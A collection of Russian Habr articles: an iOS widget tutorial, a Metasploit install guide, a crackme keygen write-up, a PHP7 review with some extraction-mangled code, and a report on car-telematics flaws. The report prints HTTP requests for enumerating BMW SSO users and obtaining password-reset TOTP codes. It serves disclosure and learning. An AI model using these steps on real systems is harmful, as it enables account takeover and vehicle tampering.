.accessoryInline,
])
}
}
```
Однако, если вы попытаетесь показать виджет на экране блокировки, вы заметите, что UI нашего существующего виджета выглядит не очень в этих новых форм-факторах. Более того, для семейства accessorInline невозможно получить даже размер вью.
View Size Widget в новых форм-фактораЧтобы со всем этим разобраться, нам нужно будет создать 3 отдельных вью SwiftUI для каждого из этих семейств виджетов.
### Реализация UI Виджетов Экрана Блокировки
Предположим, что желаемые UI виджетов Экрана Блокировки следующие:
Виджет экрана блокировки размера просмотраМы можем реализовать каждый из них так:
```
/// Widget view for `accessoryInline `
struct InlineWidgetView: View {
var body: some View {
Text("🤷🏻♂️ View size not available 🤷🏻♀️")
}
}
/// Widget view for `accessoryRectangular`
struct RectangularWidgetView: View {
var body: some View {
GeometryReader { geometry in
ZStack {
AccessoryWidgetBackground()
.cornerRadius(8)
GeometryReader { geometry in
Text("\(Int(geometry.size.width)) x \(Int(geometry.size.height))")
.font(.headline)
.frame(maxWidth: .infinity, maxHeight: .infinity)
}
}
}
}
}
/// Widget view for `accessoryCircular`
struct CircularWidgetView: View {
var body: some View {
GeometryReader { geometry in
ZStack {
AccessoryWidgetBackground()
VStack {
Text("W: \(Int(geometry.size.width))")
.font(.headline)
Text("H: \(Int(geometry.size.height))")
.font(.headline)
}
}
}
}
}
```
Обратите внимание, что я использую AccessoryWidgetBackground() в качестве фонового вью для RectangularWidgetView и CircularWidgetView. Это SwiftUI-вью со стандартным внешним видом. Мы можем поместить его в ZStack за контентом виджета, чтобы создать виджеты экрана блокировки с непрозрачным фоном.
**Примечание**: Если вы создаете отдельный файл SwiftUI для каждого вью виджета, обязательно назначьте им таргет расширения виджета. Кроме того, обязательно импортируйте модуль WidgetKit, если вы используете AccessoryWidgetBackground() в качестве фона.
Со всеми этими SwiftUI-вью мы можем вернуться к реализации ViewSizeWidget и соответствующим образом обновить его вью:
```
struct ViewSizeWidgetView: View {
let entry: ViewSizeEntry
// Obtain the widget family value
@Environment(\.widgetFamily)
var family
var body: some View {
switch family {
case .accessoryRectangular:
RectangularWidgetView()
case .accessoryCircular:
CircularWidgetView()
case .accessoryInline:
InlineWidgetView()
default:
// UI for Home Screen widget
HomeScreenWidgetView(entry: entry)
}
}
}
```
В приведенном выше коде обратите внимание, как мы получаем значение среды widgetFamily и используем его для условного возврата правильного SwiftUI-вью для каждого семейства виджетов.
### Обработка Отсечения Контента
На этом этапе все выглядит нормально при работе на больших устройствах, таких как iPhone 14 Pro Max. Однако, если мы переключимся на устройства с меньшим размером экрана, такие как iPhone 14, вы заметите, что содержимое встроенного виджета обрезается.
Виджет блокировки экрана с усеченным содержимымЧтобы сделать это, мы можем использовать ViewThatFits для предоставления другого, меньшего вью, когда большее - обрезается. Вот как:
```
struct InlineWidgetView: View {
var body: some View {
ViewThatFits {
// Provide 2 subviews for `ViewThatFits` evaluation
// Prioritizing from top to bottom
Text("🤷🏻♂️ View size not available 🤷🏻♀️")
Text("🤷🏻♂️ Nope! 🤷🏻♀️")
}
}
}
```
ViewThatFits действует как вью, которое будет оценивать свое сабвью в порядке сверху вниз и возвращать первое, которое лучше всего соответствует текущему контексту. Это означает, что в большинстве случаев мы захотим упорядочить самое большое сабвью вверху, за которым следуют другие альтернативные вью, которые меньше.
Параллельное сравнение iPhone 14 и iPhone 14 Pro Max.
Исправление усеченного контента в виджете Экрана БлокировкиТаким образом, мы успешно обновили код наших существующих виджетов Главного Экрана для поддержки виджетов Экрана Блокировки. Браво!
Полный образец кода [здесь](https://github.com/LeeKahSeng/SwiftSenpai-Widget-Sample). Пожалуйста!
Вот и все! Создать виджет Экрана Блокировки на самом деле довольно просто.
Была ли эта статья полезной? Если да, не стесняйтесь ознакомиться с другими моими статьями, связанными с разработкой iOS, [здесь](https://swiftsenpai.com/category/development/). Пожалуйста, следите за мной в [Twitter](https://twitter.com/Lee_Kah_Seng) и подписывайтесь на мою [рассылку](https://swiftsenpai.com/newsletter/), чтобы не пропустить ни одной из моих будущих статей.
Спасибо за прочтение. 👨🏻💻 | https://habr.com/ru/post/708254/ | null | ru | null |
# Устанавливаем Metasploit Framework Dev на Windows
Всем привет! После выхода Metasploit Community, которая мне очень не понравилась, я задался вопросом как же вернуть привычную для меня структуру этого инструмента. И решил я этот вопрос для себя, скачав и настроив dev версию. И всё было хорошо, пока недавно мне не пришлось настраивать тоже самое на Windows. Кого интересует данная проблема прошу под кат.
На самом деле пишу эти строки больше для себя, чтобы при повторном появлении проблемы не наступать на те же самые грабли, но если данная информация будет востребована сообществом, то будет очень хорошо.
Как ни странно, но скачивание ветки metasploit будет практически последним этапом, а в начале приготовления к этому.
1. Установка Git for Windows
Т.к. metasploit полностью переехал на git, то без него никуда, поэтому качаем [Git for Windows](http://git-scm.com/download/win) и устанавливаем его. Установка у него банальная, поэтому заострять внимание на ней я не буду.
2. Установка Ruby 1.9.3
Все знают, что при использовании metasploit без Ruby никуда, поэтому следующим шагом нам нужно установить Ruby.
Для этого качаем установщик Ruby 1.9.3 для Windows [отсюда](http://rubyinstaller.org/downloads) и запускаем его. Установка Ruby тоже не должна вызвать у вас проблем, но обратите, пожалуйста, внимание на один момент — не забудьте поставить галочку напротив пункта «Add Ruby executables to your PATH», чтобы впоследствии не возиться с путями к Ruby.
3. Установка Development Kit для Ruby и настройка WinPcap
Так же для правильной работы Metasploit нам потребуется [DevKit для Ruby](http://rubyinstaller.org/downloads), который можно скачать по той же ссылке, что и сам Ruby. После того как вы его скачали, скопируйте его в папку, в которую вы его хотите распаковать(у меня это c:\rubydk) и распакуйте. Так же нам в дальнейшем понадобиться пакет pcaprub, а для него нужно скачать и установить [WinPcap](http://www.winpcap.org/install/bin/WinPcap_4_1_3.exe) и [WinPcap Developer's Pack](http://www.winpcap.org/install/bin/WpdPack_4_1_2.zip).
С установкой WinPcap, я думаю, ни у кого проблем не возникнет. В DevPack'е нас интересует две папки — /lib и /include. Содержимое папки lib нужно скопировать в папку lib, которая находится в папке с установленным Ruby, а содержимое папки Include в папку Include/ruby-1.9.1, которая также находится в папке Ruby.
Ну и для завершения установки DevKit нам осталось вызвать командную строку, перейти в папку с DevKit'ом и выполнить две команды:
```
ruby dk.rb init
ruby dk.rb install
```
И если никаких ошибок не высветиться, то с этим этапом покончено
4. Клонирование ветки Metasploit Framework и подготовка к запуску
Вот мы и подошли к самому Metasploit Framework. Итак для начала скланируем его, выполнив следующую комманду:
```
git clone git://github.com/rapid7/metasploit-framework.git c:\git
```
Так же для корректной работы Metasploit Framework нам нужно установит необходимые gem'сы и выполнить msfupdate. Для этого выполним следующие комманды:
```
gem install bundler
ruby c:\git\metasploit-framework\msfupdate
```
И если всё выполнилось удачно, то вы получили последнюю рабочую версию Metasploit Framework Dev. Теперь вы можете выполнить:
```
ruby c:\git\metasploit-framework\msfconsole
```
и начать работать
А можете дополнительно поставить Msfgui как я. Для этого [скачайте](https://github.com/scriptjunkie/msfgui/archive/master.zip) архив его ветки с github'а, из архива скопируйте файл msfgui.exe и папку dist в папку metasploit-framework и запустите msfgui.
На этом всё! Получилась такая маленькая и скромненькая инструкция. Некоторые части которой искались на множестве форумов, но я их не указал, т.к. не помню уже, да и использовались из них только команды. Все пожелания, ошибки и недочёты прошу в комментарии. Так же если кому будет интересно могу помочь сделать тоже самое на Linux'е. | https://habr.com/ru/post/217017/ | null | ru | null |
# Если хоть раз мечтал написать crack или keygen
Дня 3 назад заглянул на сайт crackmes.one попробовать силы во взломе защит. Просто наугад взялся за "hitTman's Kolay One!": просто по оценке Difficulty: 2.0 и Quality: 4.0. Не примитивно, но и не слишком сложно.
Оказалось, форма ввода пароля с подсказкой: текст кнопки "submit password" после нажатия меняется на число. Если попробовать разные символы пароля, заметно, что для одних и тех же символов число не меняется. Очевидно, пароль подается в хеш-функцию, а ее результат попадает на кнопку. Пробуя пары символов, легко узнать что число на кнопке - сумма чисел для символов пароля.
Логично, что программа сравнивает хеш с эталоном прежде чем выдает сообщение "Try harder!". Ищем в сообщение строках бинарника. Повезло: оно даже не зашифровано и на него единственная ссылка в коде.
Очевидно, рядом же и эталон хеша: 12Eh. Легко проверить: из известных хешей символов составить пароль, например "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAa//" и предложить программе, на что она выдает "Great Job".
Автор просил: "find a Valid pass!", но это оказалось просто, да и верный пароль - не один. Куда интересней написать генератор ключей. Пригодится таблица хеш-значений для всего алфавита. Руками вводить символы пароля и записывать на бумаге их хеши долго и скучно, ведь можно заставить программу саму перебрать алфавит.
У OllyDbg есть коллега - Immunity Debugger, он умеет выполнять скрипты на Python. Отыщем хеш-функцию и заставим ее обработать алфавит.
В обработчике ButtonClick (sub\_45385C) прямо перед сравнением хеша с эталоном находится вызов sub\_4537C4. Похоже, это и есть хеш-функция: она принимает строку пароля и возвращает хеш в EAX. Привычных push для передачи параметров не видно, вероятно, они передаются через регистры. Если так, то var\_C содержит указатель на строку-пароль.
Выше вызов sub\_432A4C принимает два аргумента: адрес var\_C и еще какой-то указатель по смещению от EBX. Ищем что записано в EBX: выше по коду ButtonClick в него записывается содержимое EAX, но прежде нет записей в EAX, значит там тоже находится параметр процедуры. Заглянув в документацию по Delphi видим, что обработчику ButtonClick передается адрес TObject sender. Можно догадаться, что второй аргумент sub\_432A4C - это адрес поля ввода на форме, с которого она читает пароль.
Таких вызовов в ButtonClick два: если запустить программу в отладчике, увидим, что sub\_00432A4C действительно записывает указатель на строку-пароль в переменную-аргумент.
Если дальше выполнять ButtonClick пошагово в отладчике, можно заметить, что в переменной на стеке появится и текст кнопки - число. Легко догадаться, что sub\_407CE0 - это int to string, [ebx+2FCh] - это указатель на кнопку, а sub\_00432A7C - это setButtonText.
Теперь подменим пароль перед хешированием: ставим breakpoint по адресу 0x004538B3 - прямо перед вызовом hashFn она же sub\_4537C4. Вводим пароль 1234 и средствами отладчика отредактируем содержимое памяти var\_C - введем букву A и символ конца строки \0. Сейчас хеш-функция должна вернуть в EAX значение 0x13 (19). Шагаем вперед и... Первая неудача: в EAX - 0x56 (86). Долго думал, пробовал, грешил на Юникод или еще какие скрытые хитрости программы. Оказалось, программа где-то запоминает длину строки и Вместо хеша "A\0" вычисляет хеш "A\034". Хеш \0 равен 0, поэтому если ввести пароль A34 получим хеш 0x56. Значит введем один символ пароля и повторим правки в отладчике - теперь получилось!
Теперь нужно повторить действия для всего алфавита:
* остановиться перед вызовом hashFn
* сменить символ пароля на следующий по алфавиту
* остановиться после вызова hashFn и запомнить хеш символа
* вернуть программу к вызову hashFn
Вот скрипт на Python, который это сделает:
```
import immlib
imm = immlib.Debugger()
def main(args):
table = {}
# break после hashFn
imm.setBreakpoint(0x004538B8)
mem_password = imm.getRegs()["EAX"]
# цикл по печатным символам ASCII
for c in range(0x20, 0x7F):
b = bytearray()
b.append(c)
b.append(b'\x00')
if imm.writeMemory(mem_password, bytes(b)) <= 0:
imm.log("Failed to write password '{0}'".format(chr(c)))
return "ERROR"
imm.run()
# запоминаем хеш
table[c] = imm.getRegs()["EAX"]
# Возвращаемся к вызову hashFn
imm.setReg("EIP", 0x004538B3)
# снова передали указатель на строку-пароль в EAX
imm.setReg("EAX", mem_password)
imm.run()
# запишем результаты в файл
with open("C:/a.csv", "w") as out:
for c in table:
out.write("{0} ".format(chr(c)))
out.write("0x{:02X}\n".format(table[c]))
return "Kolay done"
```
Как вариант можно вводить пароль 1234 и вызывать imm.writeLong(mem\_password, с), чтобы записать байт символа и три нуля следом.
Алфавитом овладели, правило хеширования пароля знаем. Как генерировать пароли?
Наивное решение: перебор всех ключей и проверка каждого. Вот код, что найдет все ключи длины 2:
```
const string alphabet = //...
const unordered_map weights = //...
const int N = 2;
const int S = 0x12E;
string key;
void generateKeys(ostream& out) {
if (N <= key.length()) {
if (S == sum) {
out << key << "\n";
}
} else {
for (char c : alphabet) {
const int w = weights.at(c);
if (sum + w <= S) {
key.push\_back(c);
sum += w;
generateKeys(out);
key.pop\_back();
sum -= w;
}
}
}
}
```
Работает, но захлебывается уже на ключах длиной больше 5.
От перестановки мест слагаемых сумма не меняется, так что код можно улучшить: пусть он перебирает сочетания.
```
bool nextCombination(vector& nums, int n) {
const int k = nums.size();
for (int i = k - 1; 0 <= i; --i) {
if (nums[i] < n - k + i) {
++nums[i];
for (int j = i + 1; j < k; ++j) {
nums[j] = nums[j - 1] + 1;
}
return true;
}
}
return false;
}
bool TestKey(const vector& nums) {
int sum = 0;
for (int i : nums) {
sum += weights.at(alphabet[i]);
}
return S == sum;
}
string MakeKey(const vector& nums) {
string key;
for (int i : nums) {
key.push\_back(alphabet[i]);
}
return key;
}
void generateKeys(ostream& out) {
vector nums(N);
for (int i = 0; i < N; ++i) {
nums[i] = i;
}
do {
if (TestKey(nums)) {
++cnt;
out << MakeKey(nums) << '\n';
}
} while (nextCombination(nums, alphabet.size()));
}
```
Теперь можно дождаться, пока он найдет все сочетания длины 7.
А если хочется ключи длиннее? Можно останавливаться на первом найденном ключе - авось повезет. Время, когда перебор наткнется на первый верный ключ непредсказуемо. Я так и не дождался, пока программа найдет первый верный ключ длины 20.
Можно ли найти лучшее решение, чем перебор всех сочетаний? Например, если известен один верный ключ, как перейти к следующему?
vx -> ?
Аналогия: чтобы получить следующее число, добавляем 1 к младшему разряду и, если необходимо, выполняем перенос:
18, 19, 20, ...
Можно заменять символы пароля так, чтобы его хеш не менялся. Беда в том, что для 'x' нет равноценной замены.
```
0x01 001: %)+/5;=CGIOSYaegkmq
0x08 008: 1
0x0c 00c: y
0x0d 00d: #
0x0f 00f: !
0x11 011: '7
0x13 013: AM
0x14 014: "
0x15 015: 3[
0x16 016: &
0x17 017: 9U
0x19 019: _w
0x1a 01a: .
0x1b 01b: E
0x1d 01d: s
0x1f 01f: }
0x20 020: :
0x21 021: -W
0x22 022: >
0x23 023: ]
0x28 028: ,JQ
0x29 029: ?o
0x2b 02b: 2
0x2c 02c: R
0x2d 02d: {
0x2e 02e: 4V
0x31 031: K
0x32 032: (^
0x36 036: *
0x37 037: $
0x38 038: j
0x39 039: c
0x3a 03a: D
0x3e 03e: v
0x3f 03f: @
0x40 040: 8Lz
0x41 041: u
0x42 042: 6
0x49 049: b
0x4a 04a: F
0x4c 04c: 0\
0x4e 04e: B
0x57 057: i
0x5a 05a: N
0x5c 05c: X
0x5e 05e: t
0x64 064: |
0x6a 06a: Phn
0x6c 06c: <
0x72 072: f
0x75 075: d
0x7b 07b: H
0x7e 07e: r
0x88 088: p
0x8c 08c: T
0x90 090: Z
0x9c 09c: `
0xac 0ac: l
0xba 0ba: ~
0xf0 0f0: x
```
Возьмем другой ключ из 3х символов: Zr%. Заменяя % можно пройтись по нескольким ключам:
`Zr% -> Zr) -> Zr+ -> ... -> Zrq`
Попробуем найти замену для rq. Пришлось обойти все пары символов алфавита и вычислить их хеши.
`Zrq -> Zt- -> ZtW -> Zuv`
Что делать дальше - непонятно. Сменить Z на другой символ? У Z нет равноценных замен, придется перебором снова найти первый подходящий ключ.
Так и не придумал алгоритм перехода от одного известного ключа к следующему: если есть идеи, пишите в комментариях.
Что если вместо перебора всех сочетаний склеивать пары ключей и складывать их хеши? По сложности алгоритм оказался не лучше перебора: время работы быстро растет с увеличением алфавита и длины ключа, к тому же программа падает из-за нехватки памяти. Можно ее чуть сэкономить, но количество пар на каждом шаге все равно растет слишком быстро при алфавите в 95 букв.
```
// Длина ключа N - степень двойки
void generateKeys(ostream& out) {
for (int n = 1; n < N; n <<= 1) {
unordered_map next\_weights;
for (auto i = weights.begin(); i != weights.end(); ++i) {
for (auto j = next(i); j != weights.end(); ++j) {
const string& s1 = i->first;
int w1 = i->second;
const string& s2 = j->first;
int w2 = j->second;
int len = s1.length() + s2.length();
if (len == n \* 2) {
string s3(len, 0);
int w3 = w1 + w2;
merge(s1.begin(), s1.end(), s2.begin(), s2.end(), s3.begin());
if (len < N) {
next\_weights[s3] = w3;
}
if (N == len && S == w3) {
out << s3 << '\n';
++cnt;
}
}
}
}
weights.swap(next\_weights);
}
}
``` | https://habr.com/ru/post/710616/ | null | ru | null |
# Обзор моих любимых фич PHP7
Когда люди обсуждают изменения в PHP7, самое распространенное что вы слышите — это значительно улучшенный движок, который может похвастаться более быстрой скоростью выполнения и значительно меньшим объемом памяти при сравнении обычных приложений PHP, таких как Drupal, WordPress и MediaWiki.
Не поймите меня неправильно, это все конечно здорово! Мне удалось перенести несколько устаревших приложений CodeIgniter на PHP7 и достигнуть гораздо более высокой производительность с небольшими изменениями в кодовой базе. Тем не менее, PHP7 также добавляет несколько новых функций, которые могут помочь оптимизировать существующий код или повысить качество написания нового кода. Здесь я изложил несколько моих избранных фич.
Скалярный параметр и возврат заявленного типа
---------------------------------------------
PHP имел объявления типов и до 7 версии, но ограничивался только объектами и массивами. PHP7 теперь обеспечивает поддержку всех скалярных типов и предлагает два разных объявления типов.
### Принудительный:
это тип объявления по умолчанию и просто означает, что среда выполнения PHP будет пытаться приводить значения, когда это необходимо. Возьмем, к примеру, следующий код.
```
php
function reverseString(String $str) : String
{
return strrev($str);
}
print(reverseString(1234));</code
```
Мы указываем, что параметр `$str` должен иметь тип `String` а также возвращаемое значение также должно иметь тип `String`. Поэтому, когда мы передаем число 1234, оно принудительно переводится в строку "1234" и переводится без ошибок.
### Строгий:
Второй, строгий тип, включается с помощью флага, добавленного в начало каждого файла. Когда он включен, то интерпретатор не приводит тип, как в приведенном выше примере, он отвечает ошибкой и останавливает выполнение скрипта.
```
PHP
declare(strict_types = 1);
function reverseString(String $str): String
{
return strrev($str);
}
print (reverseString(1234));</code
```
Добавив единую `declare` инструкцию в самом начале файла, в тот же код, что и раньше, теперь мы получаем следующее сообщение об ошибке:
> Fatal error: Uncaught TypeError: Argument 1 passed to reverseString() must be of the type string, integer given
**Маленькое дополнение:** когда вы включаете строгий режим, это также распространяется на встроенные функции и функциям PHP загружаемым из расширений.
Null Оператор `??`
------------------
В отличие от некоторых языков, где вы можете использовать имя переменной в качестве выражения в выражении `if` и смело предполагать, что если значение не определено или пустое, то значение будет `false`, PHP же будет бросать ошибку о неопределенной переменной, индексе и т. д. Это делает очень многословным, обычный код, с использованием `if`, чем другие языки, как например, в следующем примере.
```
php
if(!isset($_GET['key'])) {
$key = 'default-value';
} else {
$key = $_GET['key'];
}</code
```
Даже при использовании тернарного оператора необходима функция `isset`. С новым null оператором `??` вы можете существенно облегчить код:
```
PHP
$key = $_GET['key'] ?? 'default_value';</code
```
Такое использование еще более эффективно в случаях цепочной проверки, требующих одного или несколько других операторов `if`.
```
php
if (isset($_GET['key']) {
$key = $_GET['key'];
} else if(isset($_POST['key'])) {
$key = $_POST['key'];
} else {
$key = 'default value';
}
// Versus
$key = $_GET['key'] ?? $_POST['key'] ?? 'default value';
</code
```
**Маленькое дополнение:** Если вы работаете с JavaScript, вы можете делать такие вещи:
```
const value = 0 || false || 'hello';
console.log(value); // hello
```
Это не будет работать в PHP, и эквивалентный код на PHP установит значение 0, поскольку новый оператор работает только с `null` значениями.
Групповые Use Declarations
--------------------------
В предыдущих версиях PHP вы могли импортировать только один элемент (класс, функцию, константу) из определенного пространства имен в одном выражении с использованием объявления `use`. Это часто приводило к очень повторяющемуся коду, такому, как в примере ниже..
```
php
use VendorName/LibraryName/ClasName1;
use VendorName/LibraryName/ClasName2;
use VendorName/LibraryName/ClasName3;</code
```
При группировке вышеперечисленное может быть сокращено, как показано на примере ниже, что позволяет получить более чистый и наглядный код, что импортируется и откуда.
```
php
use VendorName/LibraryName/{ClasName1, ClassName2. ClassName3};</code
```
Константные массивы
-------------------
Именованные константы — очень ценный инструмент в PHP. Одним из распространенных вариантов использования является улучшение читаемости кода путем предоставления семантических имен произвольным данным, таким как цвета, значениям RGB или магическим номерам в коде, которые неоднозначны и могут сбить с толку в других случаях.
Любой, кто работал с PHP долгое время, скорее всего, видел приложение с файлом констант (или даже несколькими файлами), которое содержит десятки, если не сотни именованных констант, требующих длинных и описательных имен, чтобы избежать конфликтов имен.
```
php
define('COLOR_RED', '#f44141');
define('COLOR_BLUE', '#4286f4');
define('COLOR_GREEN', '#1ae01e');
define('COLOR_PURPLE', '#f309f7');
define('COLOR_ORANGE', '#ef7700');</code
```
Именованные константы, в дополнение к ранее поддерживаемым типам данных, могут быть как индексированным так и ассоциативным массивом. Это поможет более точно сгруппировать многие именованные константы, которые могут быть у вас в вашем приложении.
```
php
// В качестве ассоциативного массива
define('COLORS', [
'red' = '#f44141',
'blue' => '#4286f4',
'green' => '#1ae01e',
'purple' => '#f309f7',
'orange' => '#ef7700',
]);
echo(COLORS['red']); // #f44141
// Как индексированный массив
define('COLORS', [
'red',
'blue',
'green',
'purple',
'orange',
]);
echo(COLORS[0]); // 'red'
```
Вывод
-----
Есть еще несколько замечательных новых функций, о которых я не сказал, таких как анонимные классы и оператор spaceship. Так что определенно проверьте документацию на PHP.net для получения дополнительной информации. Спасибо, что нашли время, чтобы прочитать все это и, пожалуйста, оставляйте любые вопросы или комментарии ниже.
спасибо [berez](https://habr.com/users/berez/) за замечания. | https://habr.com/ru/post/419625/ | null | ru | null |
# Хакеры выявили массу уязвимостей у современных автомобилей
Если вы приобретали новый автомобиль в последние несколько лет, то велика вероятность, что в нем есть хотя бы один встроенный модем, который нужен для разных полезных функций вроде удалённого прогрева автомобиля, самодиагностики, которая предупреждает о сбоях до того, как они произойдут, и всевозможных опций безопасности.
Автопроизводители активно используют электронику в своих новых моделях. Но, как показывает исследование охотника за ошибками и штатного инженера по безопасности Yuga Labs Сэма Карри, в электронных системах есть масса уязвимостей, которые позволяют отслеживать и даже контролировать некоторые автомобили, включая машины экстренных служб.
С чего всё началось?
--------------------
Сама проблема не нова. Её активно обсуждали после но печально известного [инцидента со взломом Jeep в 2015 году](https://habr.com/ru/post/274453/), когда пара исследователей доказала, что они могут удаленно отключить Jeep Cherokee во время движения через эксплойт в информационно-развлекательной системе внедорожника. И вот — новая история.
Карри решил исследовать потенциальные дыры в цифровой инфраструктуре автомобильной промышленности после того, как поигрался с приложением для электровелосипеда и обнаружил, что он может сигналить и включать и фары на всём автопарке. Сообщив об уязвимости производителю скутеров, Карри с коллегами обратили внимание на более крупные автомобили.
После мозгового штурма команда поняла, что **почти каждый автомобиль, выпущенный за последние пять лет, имеет практически одинаковую функциональность**. Если бы злоумышленник смог найти уязвимости в конечных точках API, которые использовались системами телематики транспортных средств, он мог бы подавать звуковой сигнал, мигать фарами, удалённо отслеживать, блокировать/разблокировать и запускать/глушить транспортные средства.
В продуктах 16 крупных производителей автомобилей и трёх поставщиков автомобильных технологий исследователи обнаружили проблемы, которые могли привести к захвату учетных записей, удаленному выполнению кода, не говоря уже о выполнении команд, ведущих к физическому управлению транспортным средством. Некоторые уязвимости также могут позволить кражу информации, приводя хакера прямо к личной информации пользователя автомобиля (PII), хранящейся в автомобильном приложении.
Слабым звеном в данном случае является компания Spireon Systems, которая контролирует данные GPU и прочую телематику для нескольких миллионов автомобилей, в том числе полицейских авто и машин служб спасения в США.
У Spireon, которая предоставляет такие услуги, как LoJack, было несколько дыр в безопасности, которые позволили хакерам получить «полный доступ администратора к общекорпоративной панели управления с возможностью отправлять произвольные команды примерно 15,5 миллионам автомобилей. (разблокировка, запуск двигателя, отключение стартера и т. д.), считывание любого местоположения устройства и прошивка/обновление прошивки устройства». В качестве доказательства концепции Карри и его коллеги «*пригласили себя в случайную учётную запись автопарка и увидели, что получили приглашение управлять полицейским управлением США, где мы можно было отслеживать весь автопарк полиции*».
Где и какие уязвимости обнаружены?
----------------------------------
Вооружившись только идентификационным номером автомобиля, хакеры смогли получить доступ к удалённым службам для автомобилей Acura, Honda, Infiniti, Kia и Nissan, в том числе сумели найти и разблокировать автомобили, запустить или остановить двигатели или посигналить. Также можно было получить доступ к учётной записи пользователя с помощью VIN-номера, а в случае Kia исследователи смогли получить доступ к камерам парковки в реальном времени на автомобиле.
Автомобили Genesis и Hyundai также можно было использовать, хотя здесь требовался адрес электронной почты владельца, а не VIN. Автомобили Porsche также были подвержены уязвимости, которая позволяла Карри определять местонахождение автомобиля и отправлять ему команды.
Цифровые номерные знаки, недавно одобренные для использования в Калифорнии, — вполне себе вектор атаки. Карри обнаружил, что может получить доступ суперадминистратора и управлять всеми учётными записями пользователей и устройствами, включая отслеживание автомобилей и изменение сообщений, отображаемых на номерных знаках с электронными чернилами.
Наконец, просочившиеся ключи Amazon Web Services дали хакерам доступ к провайдеру спутникового радио Sirius XM с «возможностью получить все файлы, включая (как оказалось) пользовательские базы данных, исходный код и файлы конфигурации».
Марки авто и найденные проблемы
-------------------------------
Керри также поделился данными о том, у каких производителей какие проблемы с безопасностью имеют место на данный момент.
**Kia, Honda, Infiniti, Nissan, Acura**
* Блокировка/разблокировка, запуск/остановка двигателя, точное определение местоположения, мигание фарами и подача сигнала — удалённо, при помощи только VIN-номера.
* Захват учетной записи и компрометация персональных данных удалённо, при помощи VIN.
* Возможность запретить пользователю удалённо управлять своей машиной, сменить владельца.
* Для Kia — удалённый доступ к камере обзора.
**Mercedes-Benz:**
* Доступ к сотням критически важных внутренних приложений через неправильно настроенную систему единого входа. Исследователи получили доступ в том числе к экземплярам Github, внутреннему чат компании, возможность присоединиться практически к любому каналу, внутренние сервисы облачного развертывания для управления отдельными хостами, внутренние API, связанные с транспортным средством.
* Удаленное выполнение кода на некоторых системах
* Утечки памяти, приводящие к раскрытию личных данных сотрудников/клиентов, доступ к учётной записи.
**Hyundai, Genesis:**
* Блокировка/разблокировка, запуск/остановка двигателя, точное определение местоположения, мигание фарами и подача сигнала — удалённо, при помощи только электронной почты жертвы.
* Захват учетной записи и компрометация персональных данных удалённо, при помощи электронной почты жертвы.
* Возможность запретить пользователю удалённо управлять своей машиной, сменить владельца.
**BMW, Rolls Royce:**
* Доступ к любому приложению от имени любого сотрудника позволили получить доступ к внутренним дилерским порталам. Там можно запросить любой VIN-номер, чтобы получить документы о продаже BMW.
* Также можно получить доступ к любому приложению, заблокированному с помощью системы единого входа, от имени любого сотрудника, включая приложения, используемые удалёнными работниками и дилерскими центрами.
**Ferrari:**
* Полный захват любой учётной записи клиента Ferrari.
* IDOR для доступа ко всем записям клиентов Ferrari.
* Отсутствие контроля доступа позволяет создавать, изменять, удалять учётные записи администраторов «бэк-офиса» сотрудников и все учётные записи пользователей с возможностью изменять веб-страницы, принадлежащие Ferrari, через систему CMS.
* Возможность добавлять HTTP-маршруты на api.ferrari.com (rest-connectors) и просматривать все существующие rest-connectors и связанные с ними секреты (заголовки авторизации)
**Ford:**
* Доступ к памяти серийного автомобиля Telematics API раскрывает персональные данные жертвы и токены доступа для отслеживания и выполнения команд на автомобиле.
* Доступ к учётным данным конфигураций, используемые для внутренних служб, связанных с телематическими сервисами.
* Возможность пройти аутентификацию в учётной записи клиента и получить доступ ко всей личной информации и выполнять действия в отношении автомобиля.
* Полный доступ к учётной записи жертвы, включая личный кабинет автомобиля.
**Toyota:**
* IDOR на Toyota Financial, который раскрывает имя, номер телефона, адрес электронной почты и кредитный статус любых финансовых клиентов Toyota.
Пример взлома BMW и Rolls Royce через неправильно настроенную систему единого входа
-----------------------------------------------------------------------------------
При тестировании активов BMW исследователи выявили специальный портал SSO для сотрудников и подрядчиков BMW. Это было очень интересно для нас, поскольку любые обнаруженные здесь уязвимости потенциально могли позволить злоумышленнику скомпрометировать любую учётную запись, связанную со всеми активами BMW.
Например, если дилер хотел получить доступ к дилерскому порталу в физическом дилерском центре BMW, ему нужно былопройти аутентификацию через этот портал. Кроме того, этот портал единого входа использовался для доступа к внутренним инструментам и соответствующей инфраструктуре devops.
Первое, что исследователи сделали, это отпечатки хоста с помощью инструментов OSINT, таких как gau и ffuf. После нескольких часов фаззинга исследователи обнаружили файл WADL, который раскрывал конечные точки API на хосте, отправляя следующий HTTP-запрос:
```
GET /rest/api/application.wadl Хост HTTP/1.1
: xpita.bmwgroup.com
```
Ответ HTTP содержал все доступные конечные точки REST на хосте xpita. Исследователи начали перебирать конечные точки и отправлять фиктивные HTTP-запросы, чтобы узнать, какие функции доступны.
Одним из результатов стало то, что исследователи смогли запросить все учетные записи пользователей BMW, отправив запросы со звездочкой в конечной точке API пользовательского поля. Это позволило ввести что-то вроде «sam\*» и получить информацию о пользователе с именем «sam.curry», не угадывая фактическое имя пользователя.
**HTTP-запрос:**
```
GET /reset/api/users/example*
Хост HTTP/1.1: xpita.bmwgroup.com
```
**HTTP-ответ:**
```
HTTP/1.1 200 OK
Content-type: application/json
{“id”:”redacted”,”firstName”:”Example”,”lastName”:”User”,”userName”:”example.user”}
```
Обнаружив эту уязвимость, исследователи продолжили тестирование других доступных конечных точек API. Одним из особенно интересных моментов, который сразу бросался в глаза, была конечная точка `/rest/api/chains/accounts/:user_id/totp`. Исследователи заметили слово «totp», которое обычно обозначало генерацию одноразового пароля.
Когда исследователи отправили HTTP-запрос на эту конечную точку, используя идентификатор пользователя системы единого входа, полученный из подстановочного запроса в паре с конечной точкой TOTP, он вернул случайное 7-значное число. Следующий HTTP-запрос и ответ демонстрируют это поведение:
**HTTP-запрос:**
```
GET /rest/api/chains/accounts/unique_account_id/totp Хост HTTP/1.1
: xpita.bmwgroup.com
```
**HTTP-ответ:**
```
HTTP/1.1 200 OK
Content-type: text/plain
9373958
```
По какой-то причине оказалось, что этот HTTP-запрос генерирует TOTP для учётной записи пользователя. Исследователи предположили, что это взаимодействие работало с функцией «забыл пароль», поэтому нашли пример учётной записи пользователя, используя наш оригинальный подстановочный знак и получив идентификатор пользователя-жертвы. После получения этого идентификатора инициировали попытку сброса пароля для учётной записи пользователя, пока не дошли до момента, когда система запросила код TOTP с устройства 2FA пользователя (например, электронной почты или телефона).
На этом этапе исследователи получили код TOTP, сгенерированный из конечной точки API, и ввели его в поле подтверждения сброса пароля.
